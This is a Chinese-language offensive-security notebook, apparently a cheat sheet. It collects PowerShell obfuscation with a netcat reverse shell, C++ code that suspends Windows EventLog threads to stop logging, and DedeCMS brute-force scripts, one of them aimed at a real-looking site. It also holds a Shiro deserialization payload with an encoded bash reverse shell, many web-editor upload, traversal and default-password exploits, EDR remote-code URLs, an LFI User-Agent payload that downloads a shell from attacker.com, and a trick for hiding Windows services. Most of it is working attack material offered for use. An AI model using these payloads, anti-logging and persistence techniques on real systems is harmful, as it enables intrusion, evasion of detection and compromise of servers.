-c:用任意数据替换注释。
-h:将IP地址转换为十六进制格式。
-s:替换各种字符串。
-b:在可能的情况下反引号字符串。
-e:过程完成后,检查混淆文件。
举例,nc反弹shell
nc -v -l -p 4444
把混淆好的脚本传入目标
PS> powershell.exe -ep bypass C:\path\to\chimera.ps1
获得shell
nc -v -l -p 4444

listening on [any] 4444 ...
192.168.56.105: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725
Windows PowerShell running as user  on
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\target>
一些使用说明
https://github.com/tokyoneon/Chimera/blob/master/USAGE.md

通过挂起EventLog服务线程禁用Windows事件日志

Windows事件日志由svchost.exe托管处理。EventLog
如果我们列出svchost进程,则会看到许多这样的进程:

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从上面的屏幕截图中,尚不清楚哪个进程真正托管了该服务,但是如果我们继续在Process Hacker中逐个检查进程,我们最终将找到托管该服务的进程,当前为pid 2196:EventLog svchost.exe

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通过以下命令获得eventlog的进程ID
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

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如果我们查看的svchost.exe线程,则会看到

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下面显示的是,确实,暂停足以使EventLog服务无法注册任何新事件:
没有挂起时修改个密码

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会注册新的事件
挂起时则没有新的事件

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代码实现
下面是在较高级别下工作的技术代码:
1.使用OpenSCManagerA命令打开服务控制管理器的句柄 
2.使用OpenServiceA命令打开EventLog服务的句柄 
3.使用QueryServiceStatusEx命令检索svchost.exe(托管EventLog)进程ID
4.打开svchost.exe进程的句柄(从第3步开始)
5.获取由svchost.exe加载的已加载模块的列表 EnumProcessModules
6.循环浏览在步骤5中检索到的已加载模块列表,使用查找其名称并找到模块的基地址-这是包含服务内部工作的模块
7.获取模块信息。它将返回带有模块的起始地址-我们稍后将在确定服务线程是否落入wevtsvc.dll模块的内存空间时需要这些详细信息wevtsvc.dll   GetModuleInformation EventLog
8.枚举svchost.exe内的所有线程。Thread32FirstThread32Next
9.对于步骤8中的每个线程,使用NtQueryInformationThread命令检索线程的起始地址 
10.对于步骤8中的每个线程,检查线程的起始地址是否属于svchost.exe内部的内存空间。wevtsvc.dll
11.如果线程的起始地址在内存空间内,则这是我们的目标线程,我们将其挂起wevtsvc.dll SuspendThread
12.EventLog 服务现已禁用
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#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>
#pragma comment(lib, "DbgHelp")
using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength
);
int main()
{
HANDLE serviceProcessHandle;
HANDLE snapshotHandle;
HANDLE threadHandle;
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
WCHAR remoteModuleName[128] = {};
HMODULE serviceModule = NULL;
MODULEINFO serviceModuleInfo = {};
DWORD_PTR threadStartAddress = 0;
DWORD bytesNeeded = 0;
myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
SERVICE_STATUS_PROCESS serviceStatusProcess = {};
# Get PID of svchost.exe that hosts EventLog service
QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
DWORD servicePID = serviceStatusProcess.dwProcessId;
# Open handle to the svchost.exe
serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
# Get a list of modules loaded by svchost.exe
EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
serviceModule = modules[i];
# Get loaded module's name
GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));
if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
{
printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
}
}
# Enumerate threads
Thread32First(snapshotHandle, &threadEntry);
while (Thread32Next(snapshotHandle, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == servicePID)
{
threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
# Check if thread's start address is inside wevtsvc.dll memory range
if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
{
printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);
# Suspend EventLog service thread
SuspendThread(threadHandle);
Sleep(2000);
}
}
}
return 0;
}

以下演示
net user ola ola执行并更改用户的ola密码,并在6:55:30 PM记录事件4724

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执行文件,svchost.exe中暂停了4个EventLog线程

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再次执行修改密码命令

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新的事件没有写入,只有挂起前的事件

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dedecms

爆破后台

windows服务器
tags.php
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import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.test.com/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)
rss.php
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import requests
import sys
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
menu = ''
for k in range(10):
for payload in payloads:
data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload)
res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"})
if res.content.decode("utf-8").find("Error") > -1:
menu += payload
break
if payload == '-':
print(menu)
sys.exit()
print(menu)

dedecms前台重置任意管理员密码

https://xz.aliyun.com/t/1959

伪造cookie登录任意前台用户

注册用户user1
访问
/member/index.php?uid=user1
登录user1
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie

前台上传shell

Admin登录,发表文章,修改文件名1.jpg.p*hp
后台文件上传
访问/dede/tpl.php?action=upload
F12获取token
访问
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c
Shell位置/include/taglib/moonsec.lib.php

后台getshell

模块->广告管理->新建广告,在广告内容中添加一句话
/plus/ad_js.php?aid=[x]

FastAdmin前台getshell

前台创建用户,修改头像,传图片马
/public/index/user/_empty?name=../../public/uploads/20200926/4a91d432904c0042bcd038ea96ad4947.jpg

Shiro rememberMe反序列化漏洞

Shiro相关转自bypass公众号
https://github.com/insightglacier/Shiro_exploit
python shiro_exploit.py -u http://192.168.172.129:8080

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通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
反弹shell
监听本地端口
nc -lvp 1234
Java Runtime 配合 bash 编码,在线编码地址:
http://www.jackson-t.ca/runtime-exec-payloads.html
将bash -i >& /dev/tcp/192.168.172.133/1234 0>&1编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
使用shiro.py 生成Payload
python shiro.py 192.168.172.133:6666

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shiro.py代码如下
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import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
构造数据包,伪造cookie,发送Payload。

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写入文件
生成poc.ser文件
sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:

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package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}

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Shiro Padding Oracle Attack

登录Shiro网站,从cookie中获得rememberMe字段的值

image

利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
https://github.com/longofo/PaddingOracleAttack-Shiro-721

image
image

使用构造的rememberMe攻击字符串重新请求网站

image
image

一键自动化漏洞利用工具
https://github.com/feihong-cs/ShiroExploit

shiro权限绕过

/;/test/admin/page

编辑器漏洞

FCKeditor

版本
FCKeditor/_whatsnew.html
编辑器
FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html
上传
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
上传路径
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:FCKeditor v2.4.3中File类别默认拒绝上传类型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtmFckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀。直接导致在win下在上传文件后面加个.来突破[未测试]。而在apache下,因为”Apache文件名解析缺陷漏洞”也可以利用之,详见”附录A”另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最为狭隘。攻击利用:
允许其他任何后缀上传
利用2003路径解析漏洞上传木马
影响版本: 索引底部附录B
脆弱描述:
利用2003系统路径解析漏洞的原理,创建类似bin.asp如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
强制建立shell.asp目录:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
or
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
FCKeditor PHP上传任意文件漏洞
影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2
脆弱描述:FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用: (请修改action字段为指定网址):
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
Note:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。
FCKeditor 暴路径漏洞
影响版本:aspx版FCKeditor
攻击利用:
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp
FCKeditor 文件上传“.”变“_”下划线的绕过方法
影响版本: FCKeditor => 2.4.x
脆弱描述:我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。攻击利用:
提交1.php+空格 就可以绕过去所有的,
※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html
FCKeditor 文件上传“.”变“_”下划线的绕过方法(二)
影响版本:=>2.4.x的最新版已修补脆弱描述:由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。上传第一次。被过滤为123_asp;123.jpg 从而无法运行。
但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。
文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因:
1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。
FCKeditor 新闻组件遍历目录漏洞
影响版本:Aspx与JSP版FCKeditor脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
根据返回的XML信息可以查看网站所有的目录。
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
TYPE自定义变量任意上传文件漏洞
影响版本: 较早版本
脆弱描述:通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。攻击利用:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是:
http://www.xxxx.com/UserFiles/all/1.asp
Type=all 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.比如输入:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
网马就可以传到网站的根目录下.Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

eWebEditor

eWebEditor 基础知识
默认后台地址:
/ewebeditor/admin_login.asp
/WebEdior/admin/login.aspx
建议最好检测下admin_style.asp文件是否可以直接访问默认数据库路径:
[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb
[PATH]/db/%23ewebeditor.mdb
默认密码:
admin/admin888 、 admin/admin、 admin/123456 、admin/admin9991、点击“样式管理”—可以选择新增样式,或者修改一个非系统样式,将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer,只要是服务器允许执行的脚本类型即可,点击“提交”并设置工具栏—将“插入图片”控件添加上。而后—预览此样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传文件的路径。
2、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell
3、上传后无法执行?目录没权限?帅锅你回去样式管理看你编辑过的那个样式,里面可以自定义上传路径的!!!
4、设置好了上传类型,依然上传不了麽?估计是文件代码被改了,可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做(详情见下文↓),能够设定自动保存远程文件的类型。
5、不能添加工具栏,但设定好了某样式中的文件类型,怎么办?↓这么办!
(请修改action字段)
Action.html
6、需要突破上传文件类型限制么?Come here! —>> 将图片上传类型修改为“aaspsp;”(不含引号),将一句话shell文件名改为“1.asp;”(不含引号)并上传即可。—>本条信息来源:微笑刺客
eWebEditor 可下载数据库,但密文解不开
脆弱描述:
当我们下载数据库后查询不到密码MD5的明文时,可以去看看webeditor_style(14)这个样式表,看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力,构造地址来上传我们自己的WEBSHELL.
攻击利用:
比如 ID=46 s-name =standard1构造 代码: ewebeditor.asp?id=content&style=standardID和和样式名改过后
ewebeditor.asp?id=46&style=standard1
eWebEditor遍历目录漏洞
脆弱描述:
ewebeditor/admin_uploadfile.asp
admin/upload.asp
过滤不严,造成遍历目录漏洞
攻击利用:
第一种:ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=http://www.xxxx.com/../.. 看到整个网站文件了
第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..
eWebEditor 5.2 列目录漏洞
脆弱描述:
ewebeditor/asp/browse.asp
过滤不严,造成遍历目录漏洞
攻击利用:
http://www.xxxx.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
利用eWebEditor session欺骗漏洞,进入后台
脆弱描述:
漏洞文件:Admin_Private.asp
只判断了session,没有判断cookies和路径的验证问题。
攻击利用:
新建一个test.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111”%>
访问test.asp,再访问后台任何文件,for example:Admin_Default.asp
eWebEditor asp版 2.1.6 上传漏洞
攻击利用:(请修改action字段为指定网址)
ewebeditor asp版2.1.6上传漏洞利用程序.html
eWebEditor 2.7.0 注入漏洞
攻击利用:
http://www.xxxx.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用nbsi进行猜解.
eWebEditor2.8.0最终版删除任意文件漏洞
脆弱描述:
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入。
攻击利用: (请修改action字段为指定网址)
Del Files.html
eWebEditor PHP/ASP 后台通杀漏洞
影响版本: PHP ≥ 3.0~3.8与asp 2.8版也通用,或许低版本也可以,有待测试。
攻击利用:
进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.
这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(“admin”));
javascript:alert(document.cookie=”adminpass=”+escape(“admin”));
javascript:alert(document.cookie=”admindj=”+escape(“1”));而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如../ewebeditor/admin/default.php,就会直接进去。
eWebEditor for php任意文件上传漏洞
影响版本:ewebeditor php v3.8 or older version
脆弱描述:
此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格,并定义上传类型。
攻击利用:
phpupload.html
eWebEditor JSP版漏洞
大同小异。
eWebEditor 2.8 商业版插一句话木马
影响版本:=>2.8 商业版
攻击利用:
登陆后台,点击修改密码—-新密码设置为 1":eval request("h")’
设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.注意:可能因为转载的关系,代码会变掉,最好本地调试好代码再提交。
eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)
脆弱描述:
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
攻击利用:
默认上传地址:/ewebeditornet/upload.aspx
可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
成功以后查看源代码找到uploadsave查看上传保存地址,默认传到uploadfile这个文件夹里。

southidceditor(一般使用v2.8.0版eWeb核心)

http://www.xxxx.com/admin/southidceditor/datas/southidceditor.mdb
http://www.xxxx.com/admin/southidceditor/admin/admin_login.asp
http://www.xxxx.com/admin/southidceditor/popup.asp
bigcneditor(eWeb 2.7.5 VIP核心)
其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp,提示“权限不够”4字真言,估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。或许上面    针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作Cute Editor

Cute Editor在线编辑器本地包含漏洞

影响版本:
CuteEditor For Net 6.4
脆弱描述:
可以随意查看网站文件内容,危害较大。
攻击利用:
http://www.xxxx.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
Cute Editor Asp.Net版利用iis解析漏洞获得权限
影响版本:
CuteEditor for ASP.NET中文版脆弱描述:
脆弱描述:
CuteEditor对上传文件名未重命名,导致其可利用IIS文件名解析Bug获得webshell权限。
攻击利用:
可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。
在编辑器中点击“多媒体插入”,上传一个名为“xxx.asp;.avi”的网马,以此获得权限。

Webhtmleditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本:<= Webhtmleditor最终版1.7 (已停止更新)
脆弱描述/攻击利用:
对上传的图片或其他文件无重命名操作,导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制,对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图,文件头检测,也可使用图片木马 插入一句话来突破。

Kindeditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
脆弱描述/攻击利用:
拿官方做个演示:进入http://www.xxxx.com/ke/examples/index.html 随意点击一个demo后点图片上传,某君上传了如下文件:http://www.xxxx.com/ke/attached/test.asp;.jpg
Note:参见附录C原理解析。

Freetextbox

Freetextbox遍历目录漏洞
影响版本:未知
脆弱描述:
因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
在编辑器页面点图片会弹出一个框(抓包得到此地址)构造如下,可遍历目录。
http://www.xxxx.com/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..
Freetextbox Asp.Net版利用IIS解析漏洞获得权限
影响版本:所有版本
脆弱描述:
没做登陆验证可以直接访问上传木马
Freetextbox 3-3-1 可以直接上传任意格式的文件
Freetextbox 1.6.3 及其他版本可以上传 格式为x.asp;.jpg
攻击利用:
利用IIS解析漏洞拿SHELL。上传后SHELL的路径为http://www.xxxx.com/images/x.asp;.jpg

Msn editor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本:未知
脆弱描述:
点击图片上传后会出现上传页面,地址为
http://www.xxxx.com/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后,地址为
http://www.xxxx.com/news/uppic/41513102009204012_1.gif
记住这时候的路径,再点击图片的上传,这时候地址就变成了
http://www.xxxx.com/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012
很明显。图片的地址是根据RemNum后面的编号生成的。
攻击利用:
配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012,变成下面这个地址
http://www.xxxx.com/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012
然后在浏览器里打开,然后选择你的脚本木马上传,将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif
直接打开是小马地址!

Ueditor

1.4.3.3 .net版本
<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
加载一个远程图片shell
表单在远程图片后加?.aspx
如 http://1.1.1.1/uploads/1.gif?.aspx

宝塔面板未授权访问phpmyadmin

宝塔Linux面板7.4.2版本
宝塔Linux测试版7.5.13
Windows面板6.8版本
直接访问http://your_ip:888/pma

深x服

EDR RCE
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 即可执行命令
终端检测响应平台任意用户登录
fofa: title="终端检测响应平台"
target+/ui/login.php?user=admin 即可直接登录

天r信

默认用户superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1

从LFI到RCE

当有个lfi时
https://www.website.com/index.php?pg=../../../../etc/passwd
尝试包含/proc/self/environ
https://www.website.com/index.php?pg=../../../../proc/self/environ
若是存在user-agent标识
修改ua来实现rce:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
User-Agent: <?php phpinfo(); ?>
也可以在服务器内部来创建文件写入shell
User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('shell.php','w'); echo fwrite($file,$a); fclose($file); ?>

隐藏windows服务

Translate from: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
Windows的一个功能允许红队或攻击者将服务隐藏起来,从而为逃避基于主机的常见威胁搜寻技术的检测提供了机会。
这里假设Fax服务是我们的恶意文件或后门
打开services.msc可以看到服务

image

执行命令可以看到服务

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管理员权限下执行以下命令,安全标识符定义语言(SDDL)

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& $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

image

可以看到已经查询不到了

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在红队或渗透测试中,这可能是一种有用的技术,可以在受感染主机上保持持久性。重启后,隐藏的服务也会自动启动。
取消隐藏的命令
